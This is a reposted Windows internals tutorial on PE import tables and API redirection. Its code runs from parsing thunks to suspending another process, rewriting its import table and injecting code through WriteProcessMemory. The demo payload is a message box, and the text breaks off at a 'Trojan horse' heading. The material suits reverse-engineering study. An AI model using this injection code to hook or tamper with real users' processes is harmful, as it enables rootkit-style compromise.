青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開心的工作
簡(jiǎn)單、開放、平等的公司文化;尊重個(gè)性、自由與個(gè)人價(jià)值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

Injective Code inside Import Table

Posted on 2010-02-05 23:36 S.l.e!ep.¢% 閱讀(1616) 評(píng)論(0)  編輯 收藏 引用 所屬分類: RootKit
原貼 http://www.codeproject.com/KB/system/inject2it.aspx

Contents

  1. Into Import Table
  2. Import Descriptor at a glance
  3. API redirection technique
  4. Protection again reversion
  5. Runtime Import Table Injection
  6. Trojan horse
  7. In the reverse engineering world, we describe it as "API redirection technique". Nevertheless I am not going to accompany all viewpoints in this area by source code, this article merely represents a brief aspect of this technique by a simple code. I will describe other issues in the absence of the source code; I could not release code which is related to commercial projects or intended for malicious motivation, however, I think this article could be used as an introduction to this topic.

    1. Into Import Table

    The portable executable file structure consists of the MS-DOS header, the NT headers, the Sections headers and the Section images, as you observe in Figure 1. The MS-DOS header is common in all Microsoft executable file formats from the DOS days until the Windows days. The NT headers idea was abstracted form the Executable and Linkable Format (ELF) of UNIX System, indeed the Portable Executable (PE) format is Sister to the Linux Executable and Linkable Format (ELF). The PE format headers consists of the "PE" Signature, the Common Object File Format (COFF) header, the Portable Executable Optimal header and the Section headers.

    Figure 1 - Portable Executable file format structure

    The definition of the NT headers can be found in <winnt.h> header file of Virtual C++ included directory. This information can be retrieved very easy by using ImageNtHeader() from DbgHelp.dll. You can also employ the DOS header in order to fetch the NT headers, so the last position of the DOS header, e_lfanew, represents the offset of the NT headers.

    Collapse Copy Code
    typedefstruct _IMAGE_NT_HEADERS {  
        DWORD Signature;  
        IMAGE_FILE_HEADER FileHeader;  
        IMAGE_OPTIONAL_HEADER OptionalHeader;
    } IMAGE_NT_HEADERS, *PIMAGE_NT_HEADERS;
    

    In the Portable Executable Optional header, there are some data directories which delineate the relative location and the size of the principal information tables inside the virtual memory of the current process. These tables can hold the information of resource, import, export, relocation, debug, thread local storage, and COM runtime. It is impossible to find a PE executable file without the import table; this table contains the DLL names and the Functions names which are essential when the program tend to request them by their virtual addresses. The resource table is not found in the Console executable files; nevertheless it is vital part of the Windows executable files with Graphic User Interface (GUI). The export table is necessary when a dynamic link library inclines to export its function outside and also in OLE Active-X container. The .NET virtual machine could not be executed without being escorted by the COM+ runtime header. As you discerned, each table has especial commission in PE format, Figure 2.

    Figure 2 - Data Directories

    Data
    Directories

    0 Export Table
    1 Import Table
    2 Resource Table
    3 Exception Table
    4 Certificate File
    5 Relocation Table
    6 Debug Data
    7 Architecture Data
    8 Global Ptr
    9 Thread Local Storage Table
    10 Load Config Table
    11 Bound Import Table
    12 Import Address Table
    13 Delay Import Descriptor
    14 COM+ Runtime Header
    15 Reserved
    Collapse Copy Code
    // <winnt.h>
    #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16// Optional header format.
    typedefstruct _IMAGE_OPTIONAL_HEADER 
    {
        ...
        
        IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
    } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
    
    
    // Directory Entries
    #define IMAGE_DIRECTORY_ENTRY_EXPORT     0// Export Directory
    #define IMAGE_DIRECTORY_ENTRY_IMPORT     1// Import Directory
    #define IMAGE_DIRECTORY_ENTRY_RESOURCE   2// Resource Directory
    #define IMAGE_DIRECTORY_ENTRY_BASERELOC  5// Base Relocation Table
    #define IMAGE_DIRECTORY_ENTRY_DEBUG      6// Debug Directory
    #define IMAGE_DIRECTORY_ENTRY_TLS        9// TLS Directory
    

    We can obtain the position and size of the import table with only two or three lines. By knowing the position of the import table, we move to the next step to retrieve the DLL names and the Function names, it will be discussed in the succeeding section.

    Collapse Copy Code
    PIMAGE_NT_HEADERS pimage_nt_headers = ImageNtHeader(pImageBase);
    DWORD it_voffset = pimage_nt_headers->OptionalHeader.
        DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    
    PIMAGE_DOS_HEADER pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase);
    PIMAGE_NT_HEADERS pimage_nt_headers = (PIMAGE_NT_HEADERS)
        (pImageBase + pimage_dos_header->e_lfanew);
    DWORD it_voffset = pimage_nt_headers->OptionalHeader.
        DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    

    2. Import Descriptor at a glance

    The import directory entry of the import table leads us to the position of the import table inside the file image. There is a container for each imported DLL, import descriptor, which embraces the address of first thunk and the address of original first thunk, the pointer to DLL name. The First Thunk refers to the location of the first thunk; the thunks will be initialized by PE loader of Windows during running the program, Figure 5. The Original First Thunk points to the first storage of the thunks, where provide the address of the Hint data and the Function Name data for each functions, Figure 4. In the case, the First Original Thunk is not present, the First Thunks refers to where the Hint data and the Function Name data are located, Figure 3.

    The import descriptor is represented with IMAGE_IMPORT_DESCRIPTOR structures as the following definition:

    Collapse Copy Code
    ypedef struct _IMAGE_IMPORT_DESCRIPTOR {
        DWORD   OriginalFirstThunk;
        DWORD   TimeDateStamp;
        DWORD   ForwarderChain;
        DWORD   Name;
        DWORD   FirstThunk;
    } IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;
    

    Members

    • OriginalFirstThunk
      It points to the first thunk, IMAGE_THUNK_DATA, the thunk holds the address of the Hint and the Function name.
    • TimeDateStamp
      It contains the time/data stamp if there is the binding. If it is 0, no bound in imported DLL has happened. In new days, it sets to 0xFFFFFFFF to describe the binding occurred.
    • ForwarderChain
      In old version of binding, it acts as referee to the first forwarder chain of API. It can be set 0xFFFFFFFF to describe no forwarder.
    • Name
      It shows the relative virtual address of DLL name.
    • FirstThunk
      It contains the virtual address of the first thunk arrays that is defined by IMAGE_THUNK_DATA, the thunk is initialized by loader with function virtual address. In the absence view of the Original First Thunk, it points to the first thunk, the thunks of the Hints and The Function names.
    Collapse Copy Code
    typedefstruct _IMAGE_IMPORT_BY_NAME {
        WORD    Hint;
        BYTE    Name[1];
    } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
    
    typedefstruct _IMAGE_THUNK_DATA {
        union {
            PDWORD                 Function;
            PIMAGE_IMPORT_BY_NAME  AddressOfData;
        } u1;
    } IMAGE_THUNK_DATA, *PIMAGE_THUNK_DATA;
    

    Figure 3 - Import Table View

    Figure 4 - Import Table View with Orignal First Thunk

    These two import tables (Figure 3 and Figure 4) illustrate the different between import table with and without the original first thunk.

    Figure 5 - Import Table after overwritten by PE loader

    We can use Dependency Walker, Figure 6, to observe the whole information of the import table. By the way, I have provided another tool, Import Table viewer, Figure 7, with simple and similar operation. I am sure its source will help you to understand better the main representation that is done by this kind of equipments.

    Figure 6 - Dependency Walker, Steve P. Miller

    Here we observe a simple source which could be used to display the import DLLs and the import Functions with a console mode program. However, I think my Import Table viewer, Figure 7, has more motivation to follow the topic because of its graphic user interface.

    Collapse Copy Code
    PCHAR       pThunk;
    PCHAR       pHintName;
    DWORD       dwAPIaddress;
    PCHAR       pDllName;
    PCHAR       pAPIName;
    //----------------------------------------
    DWORD dwImportDirectory= RVA2Offset(pImageBase, pimage_nt_headers->
        OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
        VirtualAddress);
    //----------------------------------------
    PIMAGE_IMPORT_DESCRIPTOR pimage_import_descriptor= (PIMAGE_IMPORT_DESCRIPTOR)
                                                       (pImageBase+
                                                            dwImportDirectory);
    //----------------------------------------
    while(pimage_import_descriptor->Name!=0)
    {
        pThunk= pImageBase+pimage_import_descriptor->FirstThunk;
        pHintName= pImageBase;
        if(pimage_import_descriptor->OriginalFirstThunk!=0)
        {
            pHintName+= RVA2Offset(pImageBase, pimage_import_descriptor->
                OriginalFirstThunk);
        }
        else
        {
            pHintName+= RVA2Offset(pImageBase, pimage_import_descriptor->
                FirstThunk);
        }
        pDllName= pImageBase + RVA2Offset(pImageBase, pimage_import_descriptor->
            Name);
        printf(" DLL Name: %s First Thunk: 0x%x", pDllName, 
               pimage_import_descriptor->FirstThunk);
        PIMAGE_THUNK_DATA pimage_thunk_data= (PIMAGE_THUNK_DATA) pHintName;
        while(pimage_thunk_data->u1.AddressOfData!=0)
        {
            dwAPIaddress= pimage_thunk_data->u1.AddressOfData;
            if((dwAPIaddress&0x80000000)==0x80000000)
            {
                dwAPIaddress&= 0x7FFFFFFF;
                printf("Proccess: 0x%x", dwAPIaddress);
            }
            else
            {
                pAPIName= pImageBase+RVA2Offset(pImageBase, dwAPIaddress)+2;
                printf("Proccess: %s", pAPIName);
            }
            pThunk+= 4;
            pHintName+= 4;
            pimage_thunk_data++;
        }
        pimage_import_descriptor++;
    }
    

    Figure 7 - Import Table viewer

    3. API redirection technique

    We perceive all essential knowledge regarding the import table, so it is the time to establish our redirection method. The algorithm is so simple, creating an extra virtual space inside the virtual memory of the current process, and generate instructions to redirect with JMP to original function location. We can perform it by absolute jump or relative jump. You should take care in the case of the absolute jump, you can not perform it simply as in Figure 8, you should first move the virtual address to EAX and then a jump by JMP EAX. In pemaker6.zip, I have done a redirection by relative jump.

    Figure 8 - Overview of a simple API redirection by the absolute jump instruction

    This PE maker was created in the consequence of my previous article [1], I suggest you to read it if you are interested to know how it works. In this version, I have modified the Import table fix up routine, as you see in the following lines, I wrote some lines to generate relative JMP instruction to the real position of the function. It is important to know, you could not perform the API redirection for all DLL modules. For instance, in CALC.EXE, some thunks of MSVCRT.DLL will be accessed from inside of CALC.EXE code section during the runtime initialization. Therefore, it will not work in the case of the redirection.

    Collapse Copy Code
    _it_fixup_1:
        push ebp
        mov ebp,esp
        add esp,-14h
        push PAGE_READWRITE
        push MEM_COMMIT 
        push 01D000h
        push 0
        call _jmp_VirtualAlloc
        //NewITaddress=VirtualAlloc(NULL, 0x01D000, MEM_COMMIT, PAGE_READWRITE);
        mov [ebp-04h],eax
        mov ebx,[ebp+0ch]
        test ebx,ebx
        jz _it_fixup_1_end
        mov esi,[ebp+08h]
        add ebx,esi                   // dwImageBase + dwImportVirtualAddress
    _it_fixup_1_get_lib_address_loop:
            mov eax,[ebx+0ch]         // image_import_descriptor.Name
            test eax,eax
            jz _it_fixup_1_end
            
            mov ecx,[ebx+10h]         // image_import_descriptor.FirstThunk
            add ecx,esi
            mov [ebp-08h],ecx         // dwThunk
            mov ecx,[ebx]             // image_import_descriptor.Characteristics
            test ecx,ecx
            jnz _it_fixup_1_table
                mov ecx,[ebx+10h]
    _it_fixup_1_table:
            add ecx,esi
            mov [ebp-0ch],ecx         // dwHintName
            add eax,esi               // image_import_descriptor.Name + 
                                          // dwImageBase = ModuleName
            push eax                  // lpLibFileName
            mov [ebp-10h],eax
            call _jmp_LoadLibrary     // LoadLibrary(lpLibFileName);
    
            test eax,eax
            jz _it_fixup_1_end
            mov edi,eax
    _it_fixup_1_get_proc_address_loop:
                mov ecx,[ebp-0ch]            // dwHintName
                mov edx,[ecx]                // image_thunk_data.Ordinal
                test edx,edx
                jz _it_fixup_1_next_module
                test edx,080000000h          // .IF( import by ordinal )
                jz _it_fixup_1_by_name
                    and edx,07FFFFFFFh// get ordinal
                    jmp _it_fixup_1_get_addr
    _it_fixup_1_by_name:
                add edx,esi                  // image_thunk_data.Ordinal + 
                                                 // dwImageBase = OrdinalName
                inc edx
                inc edx                      // OrdinalName.Name
    _it_fixup_1_get_addr:
                push edx                     // lpProcName
                push edi                     // hModule                        
                call _jmp_GetProcAddress     // GetProcAddress(hModule,lpProcName);
                mov [ebp-14h],eax            //_p_dwAPIaddress
                //================================================================
                //            Redirection  Engine
                push edi
                push esi
                push ebx
    
                mov ebx,[ebp-10h]
                push ebx
                push ebx
                call _char_upper
                
                mov esi,[ebp-10h]
                mov edi,[ebp+010h]
    _it_fixup_1_check_dll_redirected:
                    push edi
                    call __strlen
                    add  esp, 4
                   
                    mov ebx,eax
                    mov ecx,eax
                    push edi
                    push esi
                    repe cmps
                    jz  _it_fixup_1_do_normal_it_0
                    pop esi
                    pop edi
                    add edi,ebx
                cmp byte ptr [edi],0
                jnz _it_fixup_1_check_dll_redirected
                    mov ecx,[ebp-08h]
                    mov eax,[ebp-014h]
                    mov [ecx],eax
                    jmp _it_fixup_1_do_normal_it_1
    _it_fixup_1_do_normal_it_0:
                    pop esi
                    pop edi
                    mov edi,[ebp-04h]
                    mov byte ptr [edi], 0e9h   // JMP Instruction 
                    mov eax,[ebp-14h]
                    sub eax, edi
                    sub eax, 05h
                    mov [edi+1],eax            // Relative JMP value 
                    mov word ptr [edi+05], 0c08bh 
                    mov ecx,[ebp-08h]
                    mov [ecx],edi              // -> Thunk 
                    add dword ptr [ebp-04h],07h
    _it_fixup_1_do_normal_it_1:
                pop ebx
                pop esi
                pop edi
                //==============================================================
                add dword ptr [ebp-08h],004h   // dwThunk => next dwThunk
                add dword  ptr [ebp-0ch],004h  // dwHintName => next dwHintName
            jmp _it_fixup_1_get_proc_address_loop
    _it_fixup_1_next_module:
            add ebx,014h                       // sizeof(IMAGE_IMPORT_DESCRIPTOR)
        jmp _it_fixup_1_get_lib_address_loop
    _it_fixup_1_end:
        mov esp,ebp
        pop ebp
        ret 0ch
    

    Do not think the API redirection is discharged with this simple method in professional EXE protectors; they have an x86 instruction generator engine which is used to create the code for redirection purpose. Some time this engine is accompanied with metamorphism engine, that makes them extremely complicated to analyze.

    How does it work?

    The preceding code works according to the succeeding algorithm:

    1. Create a separated space to store the generated instructions by VirtualAlloc().

    2. Find the function virtual address by LoadLibrary() and GerProcAddress().

    3. Check if DLL name is match with valid DLL list. In this example, we recognize KERNEL32.DLL, USER32.DLL, GDI32.DLL, ADVAPI32.DLL,and SHELL32.DLL as valid DLL name to be redirect.

    4. If DLL name is valid, go to redirect routine, otherwise initialize the thunk with the original function virtual address.

    5. To redirect API, generate the JMP (0xE9) instruction , calculate the relative position of the function position in order to establish a relative jump.

    6. Store the generated instructions inside the separated space, and refer the thunk to the first position of these instructions.

    7. Continue this routine for other the Functions and the DLLs.

    If you implement this performance on CALC.EXE, and trace it by OllyDbg or a similar user mode debugger, you will perceive this code generated a view as similar as the following view:

    Collapse Copy Code
    008E0000  - E9 E6F8177C    JMP SHELL32.ShellAboutW 
    008E0005    8BC0           MOV EAX,EAX
    008E0007  - E9 0F764F77    JMP ADVAPI32.RegOpenKeyExA 
    008E000C    8BC0           MOV EAX,EAX
    008E000E  - E9 70784F77    JMP ADVAPI32.RegQueryValueExA 
    008E0013    8BC0           MOV EAX,EAX
    008E0015  - E9 D66B4F77    JMP ADVAPI32.RegCloseKey 
    008E001A    8BC0           MOV EAX,EAX
    008E001C  - E9 08B5F27B    JMP kernel32.GetModuleHandleA 
    008E0021    8BC0           MOV EAX,EAX
    008E0023  - E9 4F1DF27B    JMP kernel32.LoadLibraryA 
    008E0028    8BC0           MOV EAX,EAX
    008E002A  - E9 F9ABF27B    JMP kernel32.GetProcAddress 
    008E002F    8BC0           MOV EAX,EAX
    008E0031  - E9 1AE4F77B    JMP kernel32.LocalCompact 
    008E0036    8BC0           MOV EAX,EAX
    008E0038  - E9 F0FEF27B    JMP kernel32.GlobalAlloc 
    008E003D    8BC0           MOV EAX,EAX
    008E003F  - E9 EBFDF27B    JMP kernel32.GlobalFree 
    008E0044    8BC0           MOV EAX,EAX
    008E0046  - E9 7E25F37B    JMP kernel32.GlobalReAlloc 
    008E004B    8BC0           MOV EAX,EAX
    008E004D  - E9 07A8F27B    JMP kernel32.lstrcmpW 
    008E0052    8BC0           MOV EAX,EAX
    

    For your homework, you can practice changing the PE Maker source with the absolute jump instruction by this code:

    Collapse Copy Code
    008E0000  - B8 EBF8A57C    MOV EAX,7CA5F8EBh // address of SHELL32.ShellAboutW
    008E0005    FFE0           JMP EAX
    
    

    What do you call this?

    This time, I want to change the function of an API by this technique. I am not sure if we can call it "API redirection" again. In this sample, I redirect the ShellAbout() dialog of CALC.EXE to my "Hello World!" message box in pemaker7.zip. You will see how easy it is implemented by a few changes in the following code:

    Collapse Copy Code
                ...    
                //==============================================================
                push edi
                push esi
                push ebx
    
                mov ebx,[ebp-10h]
                push ebx
                push ebx
                call _char_upper
                
                mov esi,[ebp-10h]
                mov edi,[ebp+010h]        // [ebp+_p_szShell32]
    _it_fixup_1_check_dll_redirected:
                    push edi
                    call __strlen
                    add esp, 4
    
                    mov ebx,eax
                    mov ecx,eax
                    push edi
                    push esi
                    repe cmps             //byte ptr [edi], byte ptr [esi]
                    jz _it_fixup_1_check_func_name
                    jmp _it_fixup_1_no_check_func_name
    _it_fixup_1_check_func_name:
                    mov edi,[ebp+014h]    // [ebp+_p_szShellAbout]
                    push edi
                    call __strlen
                    add esp, 4
                    mov ecx,eax
                    mov esi,[ebp-18h]
                    mov edi,[ebp+014h]    // [ebp+_p_szShellAbout]
                    repe cmps //byte ptr [edi], byte ptr [esi]
                    jz _it_fixup_1_do_normal_it_0
    _it_fixup_1_no_check_func_name:
                    pop esi
                    pop edi
                    add edi,ebx
                cmp byte ptr [edi],0
                jnz _it_fixup_1_check_dll_redirected
                mov ecx,[ebp-08h]
                mov eax,[ebp-014h]
                mov [ecx],eax
                jmp _it_fixup_1_do_normal_it_1
    _it_fixup_1_do_normal_it_0:
                    pop esi
                    pop edi
                    mov ecx,[ebp-08h]
                    mov edi,[ebp+18h]
                    mov [ecx],edi  // move address of new function to the thunk
    _it_fixup_1_do_normal_it_1:
                pop ebx
                pop esi
                pop edi
                //==============================================================
                ...
    

    I summarize this routine successively:

    1. Check if DLL name is "Shell32.DLL".

    2. Check if Function name is "ShellAboutW".

    3. If condition 1 and 2 are true, redirect the thunk of ShellAbout() to new function.

    This new function is a simple message box:

    Collapse Copy Code
    _ShellAbout_NewCode:
    _local_0:
        pushad    // save the registers context in stack
        call _local_1
    _local_1:    
        pop ebp
        sub ebp,offset _local_1 // get base ebp
        push MB_OK | MB_ICONINFORMATION
        lea eax,[ebp+_p_szCaption]
        push eax
        lea eax,[ebp+_p_szText]
        push eax
        push NULL
        call _jmp_MessageBox
        // MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;
        popad   // restore the first registers context from stack
        ret 10h 
    

    When you plan to replace an API with a new function, you should consider some important notes:

    • Do not corrupt the Stack memory by missing the stack point. Therefore, it is necessary to restore finally the original stack point by ADD ESP,xxx or RET xxx.
    • Try to keep safe the most of the thread registers except EAX by capturing and restoring them with PUSHAD and POPAD.

    As you see, I have employed the PUSHAD and POPAD to reclaim the thread registers. For this case, ShellAbout(), it has 4 DWORD memebers so the stack point is increased 0x10 while returning.

    After redirecting ShellAbout(), you can try About Calculator menu item form Help menu, you will see what it has done on target CALC.EXE.

    Figure 9 - The redirection of About Calculator to a dialog message box

    The EXE protectors manipulate the target in this way; they establish the redirection to their extra memory space, the next section will discuss.

    4. Protection again reversion

    It is extremely difficult to reconstruct an import table with complex API redirection technique. Sometimes the tools like Import REConstructor, Figure 10, will be confused to rebuild the import table, especially if the redirection is accomplished with polymorphism code image. Import REConstructor is a famous tool in the reverse world; it will suspend the target process in order to capture the import information. If you make a redirection like a simile JMP, it certainly will be reconstructed with this tool. Nevertheless, if we encrypt the Function name and bundle it with polymorphism code inside the memory, it will be befogged to retrieve the correct import table. We present our EXE protector according to this technique, "Native Security Engine", [6] is a packer which follow this way. It has an x86 code generator plus a metamorphism engine, both of them help to establish a complex redirection structure.

    Figure 10 - Import REConstructor, MackT/uCF2000

    The Figure 11 illustrates the main strategy of the import protection in EXE protectors. Some of them employ the redirection to virtual Win32 libraries. For instance, they have the virtual libraries for Kernel32, User32, and AdvApi32. They use their own libraries to prevent from hacking or to install their Virtual Machine.

    Figure 11 - Import Table Protection

    It is achievable to cut off the access to outside by this technique. As you see, MoleBox behaves the same, it filters FindFirstFile() and FindNextFile() in order to merge TEXT files and JPEG files inside the packed file. When the program tends to find a file form hard disk, it will be redirected to memory.

    5. Runtime Import Table Injection

    Now I want to discuss once more. This topic is certainly interesting for the people who intend to understand the maneuver of the user level (ring-3) rootkits [7] on Windows System. First and final question: "How it is obtainable to inject to import table of a runtime process?" This section will answer to this question.

    We want to inject to a runtime process and modify it. If you remember, in one of my previous articles [2], I established a Windows Spy to capture Windows Class properties and modify them runtime. This time, I will move near to rewrite the memory and redirect import table from outside.

    1. By using WindowFromPoint() we can obtain the window handle of a special point, GetWindowThreadProcessId() aids us to know the process ID and the thread ID of this window handle.

      Collapse Copy Code
      POINT point;
      HWND hWindowUnderTheMouse = WindowFromPoint(point);
      
      DWORD    dwProcessId;
      DWORD    dwThreadId;
      dwThreadId=GetWindowThreadProcessId(hSeekedWindow, &dwProcessId);
      
    2. The process handle and the thread are acquired by OpenProcess() and OpenThread(). But there is no OpenThread() in Windows 98! Do not worry, try to find RT library by EliCZ', a library to emulate OpenThread(), CreateRemoteThread(), VirtualAllocEX(), and VirtualFreeEx() inside Windows 98.

      Collapse Copy Code
      HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwProcessId );
      HANDLE hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, dwThreadId);
      
    3. To start to manipulate the process memory, we should first freeze the process by suspending the main thread.

      Collapse Copy Code
      SuspendThread(hThread);
      
    4. The Thread Environment Block (TEB) location can be obtained by FS:[18] which we do not have access to it! so GetThreadContext() and GetThreadSelectorEntry() help us to know the base value of FS segment.

      Collapse Copy Code
      CONTEXT        Context;
      LDT_ENTRY    SelEntry;
      
      Context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
      GetThreadContext(hThread,&Context);
          
      // Calculate the base address of FS
      GetThreadSelectorEntry(hThread, Context.SegFs, &SelEntry);
      DWORD dwFSBase = ( SelEntry.HighWord.Bits.BaseHi <<24) |
                       (SelEntry.HighWord.Bits.BaseMid <<16) |
                        SelEntry.BaseLow;
      
    5. The Thread Environment Block (TEB) is obtained by reading from its position inside the virtual memory of the target process. The thread and process environment blocks, Figure 12, has been explained enough in "Undocumented Windows 2000 secrets" [4]. Moreover, the NTInternals team [5] presents the complete definition of TEB and FEB. As I guessed, the Microsoft team has forgotten to offer information about them or do not intend to make them public! This is the reason I like the Linux team.

      Collapse Copy Code
      PTEB pteb = new TEB;
      PPEB ppeb = new PEB;
      DWORD       dwBytes;
          
      ReadProcessMemory( hProcess, (LPCVOID)dwFSBase, pteb, sizeof(TEB), 
          &dwBytes);
      ReadProcessMemory( hProcess, (LPCVOID)pteb->Peb, ppeb, sizeof(PEB), 
          &dwBytes);
      

      Figure 12 - The Thread Environment Blocks and the Process Environment Block

    6. The image base of portable executable image inside the current process memory is found from the process environment block information.

      Collapse Copy Code
      DWORD dwImageBase = (DWORD)ppeb->ImageBaseAddress;
      
    7. ReadProcessMemory() helps us to read the entire image of the portable executable file.

      Collapse Copy Code
      PIMAGE_DOS_HEADER pimage_dos_header = new IMAGE_DOS_HEADER;
      PIMAGE_NT_HEADERS pimage_nt_headers = new IMAGE_NT_HEADERS;
          
      ReadProcessMemory( hProcess, 
                        (LPCVOID)dwImageBase, 
                         pimage_dos_header, 
                         sizeof(IMAGE_DOS_HEADER), 
                        &dwBytes);
      ReadProcessMemory( hProcess, 
                        (LPCVOID)(dwImageBase+pimage_dos_header->e_lfanew), 
                         pimage_nt_headers, sizeof(IMAGE_NT_HEADERS), 
                        &dwBytes);
      
      PCHAR pMem = (PCHAR)GlobalAlloc(
                         GMEM_FIXED | GMEM_ZEROINIT, 
                         pimage_nt_headers->OptionalHeader.SizeOfImage);
      
      ReadProcessMemory( hProcess, 
                        (LPCVOID)(dwImageBase), 
                         pMem, 
                         pimage_nt_headers->OptionalHeader.SizeOfImage, 
                        &dwBytes);
      
    8. We watch the DLL names and the thunk values find our target and to redirect it. In this example, the DLL name is Shell32.dll and the thunk is the virtual address of ShellAbout().

      Collapse Copy Code
      HMODULE hModule = LoadLibrary("Shell32.dll");
      DWORD dwShellAbout= (DWORD)GetProcAddress(hModule, "ShellAboutW");
      
      DWORD dwRedirectMem = (DWORD)VirtualAllocEx( 
                         hProcess, 
                         NULL, 
                         0x01D000, 
                         MEM_COMMIT, 
                         PAGE_EXECUTE_READWRITE);
                         
      RedirectAPI(pMem, dwShellAbout, dwRedirectMem);
      
      ...
      
      int RedirectAPI(PCHAR pMem, DWORD API_voffset, DWORD NEW_voffset)
      {
          PCHAR     pThunk;
          PCHAR     pHintName;
          DWORD     dwAPIaddress;
          PCHAR     pDllName;
          DWORD     dwImportDirectory;
      
          DWORD     dwAPI;
      
          PCHAR pImageBase = pMem;
          //----------------------------------------
          PIMAGE_IMPORT_DESCRIPTOR    pimage_import_descriptor;
          PIMAGE_THUNK_DATA           pimage_thunk_data;
          //----------------------------------------
          PIMAGE_DOS_HEADER pimage_dos_header;
          PIMAGE_NT_HEADERS pimage_nt_headers;
          pimage_dos_header = PIMAGE_DOS_HEADER(pImageBase);
          pimage_nt_headers = (PIMAGE_NT_HEADERS)(
              pImageBase+pimage_dos_header->e_lfanew);
          //----------------------------------------
          dwImportDirectory=pimage_nt_headers->OptionalHeader
              .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
          if(dwImportDirectory==0) 
          {
              return -1;
          }
          //----------------------------------------
          pimage_import_descriptor=(PIMAGE_IMPORT_DESCRIPTOR)(
              pImageBase+dwImportDirectory);
          //----------------------------------------
      while(pimage_import_descriptor->Name!=0)
          {
              pThunk=pImageBase+pimage_import_descriptor->FirstThunk;
              pHintName=pImageBase;
              if(pimage_import_descriptor->OriginalFirstThunk!=0)
              {
                  pHintName+=pimage_import_descriptor->OriginalFirstThunk;
              }
              else
              {
                  pHintName+=pimage_import_descriptor->FirstThunk;
              }
              pDllName=pImageBase+pimage_import_descriptor->Name;
      
              StrUpper(pDllName);
              if(strcmp(pDllName,"SHELL32.DLL")==0)
              {
                  pimage_thunk_data=PIMAGE_THUNK_DATA(pHintName);
                  while(pimage_thunk_data->u1.AddressOfData!=0)
                  {
                      //----------------------------------------
                      memcpy(&dwAPI, pThunk, 4);
                      if(dwAPI==API_voffset)
                      {
                          memcpy(pThunk, &NEW_voffset, 4);
                          return0;
                      }
                      //----------------------------------------
                      pThunk+=4;
                      pHintName+=4;
                      pimage_thunk_data++;
                  }
              }
              pimage_import_descriptor++;
          }
          //----------------------------------------
      return -1;
      }
    9. Extra memory for the redirection purpose is created by VirtualProtectEx(). We will generate the code and write it inside the new spare space.

      Collapse Copy Code
      DWORD dwRedirectMem = (DWORD)VirtualAllocEx( 
                         hProcess, 
                         NULL, 
                         0x01D000, 
                         MEM_COMMIT, 
                         PAGE_EXECUTE_READWRITE);
      
      ...
                         
      PCHAR pLdr;                   
      DWORD Ldr_rsize;
      GetLdrCode(pLdr, Ldr_rsize);
      
      WriteProcessMemory( hProcess, 
                         (LPVOID)(dwRedirectMem), 
                         pLdr, 
                         Ldr_rsize, 
                         &dwBytes);
      
    10. The loader is written on the extra memory. It holds the code to show a sample message box.

      Collapse Copy Code
      void GetLdrCode(PCHAR &pLdr, DWORD &rsize)
      {
          HMODULE     hModule;
          DWORD       dwMessageBox;
      
          PCHAR       ch_temp;
          DWORD       dwCodeSize;
          ch_temp=(PCHAR)DWORD(ReturnToBytePtr(DynLoader, 
               DYN_LOADER_START_MAGIC))+4;
          dwCodeSize=DWORD(ReturnToBytePtr(DynLoader, 
              DYN_LOADER_END_MAGIC))-DWORD(ch_temp);
          rsize= dwCodeSize;
          pLdr =  (PCHAR)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, dwCodeSize);
          memcpy(pLdr, ch_temp, dwCodeSize);
      
          ch_temp=(PCHAR)ReturnToBytePtr(pLdr, DYN_LOADER_START_DATA1);
      
          hModule = LoadLibrary("User32.dll");
          dwMessageBox= (DWORD)GetProcAddress(hModule, "MessageBoxA");
          memcpy(ch_temp+4, &dwMessageBox, 4);
      }
      
          ...
      _ShellAbout_NewCode:
      _local_0:
          pushad    // save the registers context in stack
          call _local_1
      _local_1:    
          pop ebp
          sub ebp,offset _local_1// get base ebp
          push MB_OK | MB_ICONINFORMATION
          lea eax,[ebp+_p_szCaption]
          push eax
          lea eax,[ebp+_p_szText]
          push eax
          push NULL
          mov eax, [ebp+_p_MessageBox]
          call eax
          // MessageBox(NULL, szText, szCaption, MB_OK | MB_ICONINFORMATION) ;
          popad    // restore the first registers context from stack
          ret 10h
          ...
      
    11. The executable image is written on memory after modification. Do not forget to set full access on memory in front of writing.

      Collapse Copy Code
      VirtualProtectEx( hProcess, 
                       (LPVOID)(dwImageBase), 
                        pimage_nt_headers->OptionalHeader.SizeOfImage, 
                        PAGE_EXECUTE_READWRITE, 
                       &OldProtect);
                       
      WriteProcessMemory( hProcess, 
                         (LPVOID)(dwImageBase), 
                          pMem, 
                          pimage_nt_headers->OptionalHeader.SizeOfImage, 
                         &dwBytes);
      

      VirtualProtectEx() sets the page access to PAGE_EXECUTE_READWRITE protection type. It is necessary to have PAGE_READWRITE access when WriteProcessMemory is used and PAGE_EXECUTE in the case of executable page.

    12. Now the process is ready to unfreeze and the life will start again, but what happens? Try the about menu item you will see, Figure 13, this is the first aspect of the injection life!

      Collapse Copy Code
      ResumeThread(hThread);
      

    Figure 13 - Runtime Injection into ShellAbout() Thunk

    I am thinking about injection to other API thunks, we can also upload other dynamic link libraries in the target process to redirect the victim thunk to it, but that has been explained completely in another article [3]. The next section discusses a bit about one of the disasters which comes as a consequence of this performance. You can imagine other possible tsunamis by yourself.

    6. Trojan horse

